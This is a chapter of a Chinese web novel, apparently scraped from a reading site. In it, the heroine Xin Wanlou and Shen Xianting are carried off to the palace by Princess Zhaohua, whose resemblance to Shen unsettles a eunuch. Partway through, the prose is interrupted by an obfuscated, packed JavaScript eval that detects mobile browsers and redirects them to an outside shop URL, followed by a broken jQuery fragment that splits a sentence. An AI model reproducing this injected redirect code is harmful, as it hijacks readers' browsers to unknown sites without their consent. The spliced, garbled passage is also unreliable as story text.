辛晚楼不认得拿着风筝的那个女人,却认得她身后那个。
那是那位色然大公主,在梁王府外见过的那个。
她一时不敢想她身前那个女人究竟是谁。
“去马车上拿?”
辛晚楼看向面前那个粉衫女子,这女子是那华服女人的侍女,可穿着打扮也不是一般富贵人家能比及的,简直比一些平民家的官小姐都要阔气。见她疑惑,粉衫女子朝她矮身一笑:
“我家殿下想见您二位一面。”
殿下。
又一位殿下。
辛晚楼顿时警觉起来,霎时便知此中必定有诈。她拉过沈羡亭,就要回山的另一侧去,一口回绝道:
“我同你们殿下道个歉,那风筝我们不要了。”
她一拽,身旁人却不动,她惊诧地仰头看向他。
沈羡亭仿佛被施了什么咒一般,僵在原地并不动弹。他目不转睛地盯着蜿蜒山路上行进的队伍,瞧着为首那个黄衫红裙的华服女人。那女人手腕上套着一串茱萸果串成的手串,手里还捏着那个燕子风筝。
公主仪仗里响起悠扬的踏歌之声,那些打着拍子的宫人们唱道:
“今夕何夕兮,搴舟中流?今日何日兮,得与王子同舟?蒙羞被好兮,不訾诟耻。心几烦而不绝兮,得知王子。山有木兮木有枝,心悦君兮君不知……”
粉衫女子回头,顺着他的视线,也看向山下队伍。她丝毫不急,也轻轻地同那踏歌之声哼唱起来。
辛晚楼仰头看着沈羡亭,觉得他的灵魂没有留在这副躯壳里,而是随着踏歌之声逐渐远去了。她正要将他拉回安全的人间,他却忽然愣愣道:
“好啊。”
粉衫女子嘴角微扬,露出一个不易察觉的笑。
沈羡亭转过头,看着那粉衫女子。
“风筝……还是要的。”
*
骊山的秋景比之长安城内更加浓烈而恢宏,长安城内楼阁繁多而秋意便少,繁华与自然总要有舍有得。闻凇伴着踏歌之声跋涉许久,终于于骊山顶上受老僧教化、为大靖祈福后又往山下去。
骊山只生几株渺小野菊,而那天门挂彩、十丈垂帘之类的菊花是需要呵护的娇贵玩意儿,骊山上生不得。可许是因为她要来此登高,不知是谁的注意,竟有宫人提前将那些秀丽名菊栽种一路。本是为讨好她,可却惹得她心里不悦,立时要求将这些金贵花朵尽数烧毁。
火焰燃起,闻凇心里终于顺畅,便施施然下山去。她那四匹骏马拉着的马车正停在山脚下,芙蓉抱剑在门外守着。
芙蓉怀里抱一把没见过的刀,正是那红衣姑娘背着的那把。
“殿下——”
“人呢?”芙蓉正行礼,不等她起身,闻凇便问。
“公主,在里边。”
“好。”闻凇提起裙摆,登时往马车上去。
*
“我的刀——”辛晚楼肩上一轻,不知春登时被沈羡亭卸了下来。她正抬手去夺,却被他一把搡进马车之内。
沈羡亭将刀丢给芙蓉,自己一手掀起门帘,跟在她身后矮身入内。
“你作甚卸我的刀?”辛晚楼惊诧而恼火地问道。
沈羡亭淡淡地看着她,轻声说:
“你想带刀见面昭华公主吗?”
“昭华……”辛晚楼神色一紧,霎时觉得浑身发冷,“昭华公主?!”
沈羡亭一掸衣摆,在马车里寻一个角落坐下。他应是累了,立时靠在车厢之上,抱着手臂闭上双眼。辛晚楼见他这样,便知问也白问,于是没再多话,只怀揣一颗忡忡忧心等那位古怪的公主殿下。
等了多时,天色渐阴、风也渐起,可马车里焚香烧炉,倒是一点不冷。车厢外忽而传来女子清越的谈话声。话说的简短,听不清讲了什么,随即马车微微一晃,车门自外打开——
那个黄衫红裙的女子矮身入内,发间缀满珠翠,随她脚步发出细碎轻响。
那女子朝她一笑,如今走近,她才从她眉眼中看出些熟悉的影子。
真……真是……
她下意识地朝沈羡亭瞟了一眼,那人依旧闭着眼睛,不知道醒没醒着。辛晚楼一时无措,正纠结是要拍醒他还是直接行礼,闻凇已在正中坐下,问道:
“你认得他?”
辛晚楼一愣,轻轻点头。
“那你可认得我是谁?”
闻凇抬手指着自己,连那种灵动而狡黠的表情都与身边人一般无二。
辛晚楼倒吸一口凉气,却只能将心中疑窦暂且搁置,这才朝她缓缓跪下。
“民女参见殿下。”
闻凇煞了她的威风,脸上透出笑意。她没让辛晚楼起身,只将手中风筝递给她。
“你是南方人?”
“不是。”
“不是?”闻凇指着那风筝问道,“重阳日放风筝,可不是长安习俗。”
辛晚楼实是不想在沈羡亭面前提起哥舒岚,奈何昭华步步紧逼,便只赌一把沈羡亭并未醒着,轻声道:
“我……我师父是南方人。”
“原来如此。”
沈羡亭依旧没什么动静,辛晚楼想着他并未听见,便松一口气。可心还未落回去,便听车外一声极长的马嘶,马车一晃,登时跑起来。
“这——”
她惊讶地看向窗外,而马车愈来愈快,四匹汗血宝马可不是骊山脚下的小白能比的。
“殿下……”她惊愕地看向闻凇。
闻凇正端坐马车正中,居高临下地盯着她。瞧着她的神情渐渐仓皇,她缓缓地扯起嘴角,露出一个沉静而得意的笑。
她的眼睛也是那般湿润而明亮,琉璃珠子一般。
“上了公主殿下的马车,还以为能再下去吗?”
沈羡亭睁开眼,依旧靠在车厢上,平静地望向窗外。
骊山的草木已离他们越来越远了。
*
“奴才拜见公主殿下——”
马车刚刚停下,福星便已麻利地跪在车前。车门一开,他那位金枝玉叶的昭华公主便缓步走了下来。公主随口说一句“起吧”,他便连忙上前,托住公主的手肘。
他正打算与公主说几句甜话,却见那马车里又下来两个没见过的人,一个男人、一个女人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345611|137910||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那女子身上衣物乃是一件昂贵精细的婆娑锦,袖口收得利落,紧裹在手腕上,一看便是习武之人的打扮;那男人身上一件白色鹤氅、里头一件月白海涛纹的衣裳,瞧着像是病了,走路有些飘,模样倒是漂亮得像——
像……
他的目光惊愕地在他们公主脸上扫过,一颗心瞬时提到嗓子眼儿里。
像、太像了!
这男人……这男人莫不是……
他不敢再看、甚至不敢再想,忙低下头,视若无睹地对公主笑着说道:
“殿下,骊山里的花儿瞧见了吗?那可是奴才特意——”
“原来是你让人种的啊,”公主冷笑一声,福星瞬时寒毛直竖,“一会儿上佟嬷嬷那儿领罚去吧。”
“是……是……殿下。”
福星脸上露出苦恼之色,公主平日不是最喜欢那些花儿吗,他怎知一种到骊山上公主就不喜欢了呢?
公主脚步不停,径直往宫内走去。福星只顾担忧自己一会儿要被罚成什么样,实在是无心关注旁人,一时没注意那两个陌生人,忽然边听“嘭”的一声。
他转过头,瞧见是那个男人在青石板上跌了一跤,那女子正搀他起来。
公主走的太急,哪是一个病人跟得上的?福星这般想,却也不敢说,怯生生地看向他们公主。
公主脚步一停,也转过头去。她看着那红衣女人将他扶起来,不由蹙起眉头。许久,她忽然朝福星问道:
“父皇今日可好?”
“公主知道的,陛下近来……就一直那个样子——”
“那父皇现在在做什么呢?”
福星想了想,答道:
“应是由太子殿下侍候服药吧。”
公主闻言忽然回头,又问:
“太子殿下?哥哥已经回来了?”
福星笑道:“太子殿下孝心情切,华山祭祖结束后亲自骑马回来的。听闻那马一入长安城就跑死了呢……”
公主轻轻点头,没再应答,只是又看向身后那两人。半晌,她扬起一侧眉毛,笑道:
“哥哥在啊……那这场好戏倒是更有意趣了……”
”啊?”
福星心里正疑惑,那红衣女人已搀着男人慢慢走至了他与公主面前。公主乜那女人一眼,冷笑道:
“父皇病重,我这个作女儿的理应尽孝。今日就先去太和殿看看父皇、尽尽孝心——福星,你先带辛姑娘去千音阁歇着吧。”
辛姑娘。
只带“辛姑娘”去千音阁,不带那个男人。
那那个男人……要跟着公主去太和殿?
福星心下一紧,不由咽了咽唾沫。目光在那男人脸上一扫,走到近处,他那容貌与公主殿下像的更加惊人。
他不敢多看,便又看向那个身着红色婆娑锦的“辛姑娘”。只见她脸上露出落单狼崽的警惕神情,扶着着那男人的双手不由握紧。
可诸事都不是他们这种下等人做得了主的。福星无法,只能松开公主,朝那女人挤出一个不算好看却足够热情的笑容,道:
“辛姑娘,请吧。”